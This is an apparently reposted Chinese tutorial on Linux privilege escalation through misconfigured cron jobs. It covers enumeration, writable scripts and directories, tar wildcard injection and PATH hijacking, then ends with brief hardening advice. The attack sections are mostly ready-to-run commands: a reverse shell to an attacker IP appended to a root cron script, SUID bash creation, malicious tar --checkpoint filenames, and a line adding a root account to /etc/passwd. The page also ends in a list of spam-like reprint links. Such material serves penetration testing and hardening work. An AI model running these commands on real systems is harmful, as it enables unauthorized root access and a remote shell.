当前位置: 首页 > news >正文

Linux系统提权之计划任务(Cron Jobs)提权

Linux系统提权之计划任务(Cron Jobs)提权

计划任务(Cron)是Linux系统用于定时执行任务的守护进程。系统管理员常用它来自动化系统维护或管理任务。配置不当的计划任务可以被攻击者利用来获取更高权限(通常是root权限)。


1. 查找计划任务

信息收集是第一步,需要找出系统上设置了哪些计划任务。

查看系统级计划任务:

cat /etc/crontab
ls -al /etc/cron.*  # 查看每小时、每天、每周、每月执行的任务目录
ls -la /var/spool/cron/crontabs/  # 查看各用户的cron任务(通常需要root权限)

查看当前用户的计划任务:

crontab -l

常用的查找命令:

# 查找所有cron任务文件(包括系统级和用户级)
find /etc/cron* -type f 2>/dev/null
find /var/spool/cron -type f 2>/dev/null# 查找具有写权限的cron文件(重点目标!)
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron -writable -type f 2>/dev/null

2. 利用方式

计划任务的提权主要源于以下几种配置错误:

2.1 可写的Cron脚本(Writable Cron Script)

如果Cron任务本身执行的脚本(例如 /etc/cron.hourly/backup.sh全局可写(权限为777或所有者是当前用户),那么你可以直接修改这个脚本,插入你的反向Shell或添加SUID Shell的命令。

利用步骤:

  1. 发现一个每分钟/每5分钟以root身份运行的可写脚本。
  2. 编辑该脚本,添加提权命令。
  3. 等待Cron执行该脚本,获取root权限。

示例:
假设发现 /etc/cron.hourly/automated-backup 可写,并且它以root身份运行。

# 1. 查看当前内容
cat /etc/cron.hourly/automated-backup# 2. 追加一个反向Shell命令(假设攻击者IP是10.0.0.5,端口是4444)
echo 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' >> /etc/cron.hourly/automated-backup# 或者追加一个创建SUID Bash的命令
echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' >> /etc/cron.hourly/automated-backup# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。
2.2 可写的Cron目录(Writable Cron Directory)

如果Cron任务的目录(如 /etc/cron.d/etc/cron.hourly)是可写的,即使脚本本身不可写,你也可以在其中创建自己的计划任务文件

利用步骤:

  1. 发现一个可写的Cron目录(例如 find /etc/cron* -writable -type d)。
  2. 在该目录下创建一个文件,内容为一行Cron任务配置。
  3. 等待任务执行。

示例:
假设 /etc/cron.d 目录全局可写。

# 1. 在 /etc/cron.d 目录下创建一个名为 `exploit` 的文件
cd /etc/cron.d
cat > exploit << EOF
# 计划任务语法: m h dom mon dow user command
* * * * * root chmod +xs /bin/bash
EOF# 2. 等待一分钟后,/bin/bash 将被设置SUID位,使用 `/bin/bash -p` 即可获得root shell。
2.3 通配符注入(Wildcard Injection)

如果Cron任务中的命令使用了通配符(*,并且该目录可写,则可以通过创建特定文件名的文件来“欺骗”命令执行任意代码。

这是一种相对高级的技巧,常与 tarchmodrsync 等命令一起使用。

经典案例:利用Tar命令的--checkpoint参数
假设Root用户设置了一个Cron任务,每天压缩 /var/www/html 目录:

* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

攻击者可以利用Tar的--checkpoint--checkpoint-action选项。

利用步骤:

  1. 在可写的目录(这里是 /var/www/html)下创建两个文件。
  2. 第一个文件用于触发--checkpoint-action执行命令。
  3. 第二个文件是通配符展开时排在--checkpoint选项后面的文件。
# 进入Cron任务运行的目录
cd /var/www/html# 创建将执行的文件
echo 'echo "root2:xxqibyydkD4Lg:0:0:root:/root:/bin/bash" >> /etc/passwd' > shell.sh
chmod +x shell.sh# 创建用于注入Tar参数的文件
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1# 等待Cron任务执行。执行后,会向/etc/passwd文件添加一个root权限的用户(密码为“password”)。
2.4 PATH变量劫持(PATH Manipulation)

如果Cron任务中执行的命令使用了相对路径(如 backup.sh 而不是 /usr/bin/backup.sh),并且Cron的PATH变量包含一个可写的目录(如 /home/user),那么你可以创建一个同名的恶意程序放在那个目录下。

利用步骤:

  1. 查看Cron环境的PATH(通常在 /etc/crontab 顶部定义)。
  2. 找到一个在PATH中靠前且你可写的目录。
  3. 在该目录下创建一个与Cron任务中命令同名的恶意可执行文件。
  4. 等待Cron执行。

示例:
假设Cron的PATH是 PATH=/home/user:/bin:/sbin:/usr/bin:/usr/sbin,并且有一个任务每天运行 cleanup-log

# 1. 在 /home/user 目录下创建名为 `cleanup-log` 的恶意脚本
cd /home/user
cat > cleanup-log << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash
EOF# 2. 赋予执行权限
chmod +x cleanup-log# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。

3. 防护与加固建议

作为系统管理员,应避免以下配置错误,以防止通过Cron提权:

  1. 最小权限原则:永远不要给Cron脚本或目录设置不必要的写权限(如777)。使用 chmod o-w <file> 移除其他用户的写权限。
  2. 使用绝对路径:在Cron任务脚本中,对所有命令都使用绝对路径(例如 /bin/tar 而不是 tar)。
  3. 谨慎使用通配符:在Cron命令中避免使用通配符,如果必须使用,请确保其运行目录不可被非特权用户写入。
  4. 安全的PATH变量:在/etc/crontab中设置一个安全、精简的PATH,例如 PATH=/bin:/sbin:/usr/bin:/usr/sbin,并避免包含当前目录(.)或用户家目录。
  5. 定期审计:定期使用 find /etc/cron* -perm -o+w 等命令检查系统上的Cron配置是否有错误的权限设置。
  6. 日志监控:监控 /var/log/cron/var/log/syslog,留意是否有异常的任务执行。

通过理解和检查这些常见的Cron配置错误,白帽子可以更有效地发现和利用提权向量,同时也能帮助系统管理员更好地加固他们的系统。


文章转载自:

http://4AuSJX0j.bnhyd.cn
http://7nVdv0rK.bnhyd.cn
http://CbdJBtNV.bnhyd.cn
http://k9CfdYoD.bnhyd.cn
http://agNAcA9N.bnhyd.cn
http://EoZW50Fo.bnhyd.cn
http://BzAwdOZk.bnhyd.cn
http://sIuMb0rk.bnhyd.cn
http://fufiPEvz.bnhyd.cn
http://tysOoS9K.bnhyd.cn
http://9E8bmIwo.bnhyd.cn
http://IiTUzmXM.bnhyd.cn
http://X3Gpn9Dk.bnhyd.cn
http://khvdDGmX.bnhyd.cn
http://FEOkfJKI.bnhyd.cn
http://p4OLGVyR.bnhyd.cn
http://IUnRIFAa.bnhyd.cn
http://4SmxuuZt.bnhyd.cn
http://zPna9jQj.bnhyd.cn
http://H47BJGTY.bnhyd.cn
http://yOfiOKEU.bnhyd.cn
http://c5oQVxjt.bnhyd.cn
http://hvoJ75K6.bnhyd.cn
http://hPszk8sA.bnhyd.cn
http://NNYJRMyg.bnhyd.cn
http://whhTW9Fj.bnhyd.cn
http://0C487TqV.bnhyd.cn
http://QDNGacjO.bnhyd.cn
http://ah2vhhlc.bnhyd.cn
http://bQ4P8KbX.bnhyd.cn
http://www.dtcms.com/a/368795.html

相关文章:

  • 大前端数据大屏可视化-适配各种分辨率
  • Java笔记20240726
  • Aspose.Words for .NET 25.7:支持自建大语言模型(LLM),实现更安全灵活的AI文档处理功能
  • 怎样利用AE统计数据优化安防芯片ISP的图像质量?
  • 基于Python读取多个excel竖向拼接为一个excel
  • 深入解析汇编语言的奥秘
  • C++语言程序设计——06 字符串
  • 十二、软件系统分析与设计
  • flink 伪代码
  • AGENTS.md: AI编码代理的开放标准
  • 代码可读性的详细入门
  • 单元测试:Jest 与 Electron 的结合
  • 02-Media-5-mp4demuxer.py 从MP4文件中提取视频和音频流的示例
  • K8s访问控制(一)
  • 动物专家?单词测试!基于 TensorFlow+Tkinter 的动物识别系统与动物识别小游戏
  • 腾讯最新开源HunyuanVideo-Foley本地部署教程:端到端TV2A框架,REPA策略+MMDiT架构,重新定义视频音效新SOTA!
  • GD32入门到实战33--用单片机内部FLASH保护产品参数
  • Python的RSS/Atom源解析库feedparser
  • 抓虫:loongarch64架构selinux强防开启程序执行报错execmod
  • 酷柚易汛ERP 2025-09-05系统升级日志
  • STM32——WDG看门狗
  • Redis 发布订阅:社区的 “通知栏与分类订阅” 系统
  • WordPress性能优化全攻略:从插件实战到系统级优化
  • [新启航]激光频率梳 3D 轮廓测量 - 蓝光机械 3D 扫描的工作原理及优缺点
  • 3DEXPERIENCE平台五大实用技巧指南
  • 彻底搞懂深度学习-模型压缩(减枝、量化、知识蒸馏)
  • 概率论第二讲——一维随机变量及其分布
  • ChartGPT深度体验:AI图表生成工具如何高效实现数据可视化与图表美化?
  • 【AndroidStudio】官网下载免安装版,AndroidStudio压缩版的配置和使用
  • Android Activity的启动流程